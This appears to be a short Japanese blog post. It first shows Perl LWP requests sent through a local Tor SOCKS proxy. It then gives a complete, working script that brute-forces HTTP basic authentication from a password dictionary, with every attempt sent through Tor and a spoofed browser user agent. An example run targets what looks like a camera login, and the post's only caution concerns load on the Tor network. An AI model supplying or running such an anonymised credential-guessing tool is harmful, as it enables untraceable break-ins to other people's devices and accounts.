LWPでSOCKS Proxyを使ってみる

LWPのSOCKSライブラリをインスコ
$ sudo apt-get install liblwp-protocol-socks-perl

#!/usr/bin/perl
use LWP;

$ua = LWP::UserAgent->new;
$ua->proxy([qw/ http https /] => 'socks://localhost:9050');
$res = $ua->get('http://www.ugtop.com/spill.shtml');
print $res->content;

$ tor
$ ./socks.pl
こんな感じ

tor越しでブルートフォースアタックとか

#!/usr/bin/perl
use LWP;

$proxy=1;

($host,$realm,$user,$dic,$uri) = @ARGV;
if(!@ARGV) {
        print "Usage: ./bfhttp <host:port> <realm> <user> <dic>\n";
        exit;
}

open(F, $dic) or die "$!";
while($line = <F>) {
        chomp($line);
        print "Trying... \"$line\"\n";
        $ua = LWP::UserAgent->new(
          useragent=> q{Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)}
        );
        $ua->credentials(
                $host,
                $realm,
                $user,
                $line
        );
        if($proxy eq 1){
                $ua->proxy([qw/ http https /] => 'socks://localhost:9050');
        }
        $res = $ua->get("http://$host/$uri");
        if($res->is_success) {
                print "\nPassword is \"$line\"\n\n";
                exit;
        }
}
close(F);

$ tor
$ ./bfhttp mydomain.dip.jp:80 Camera motion password.dic
torネットワークに負荷かかるから乱用はしないでね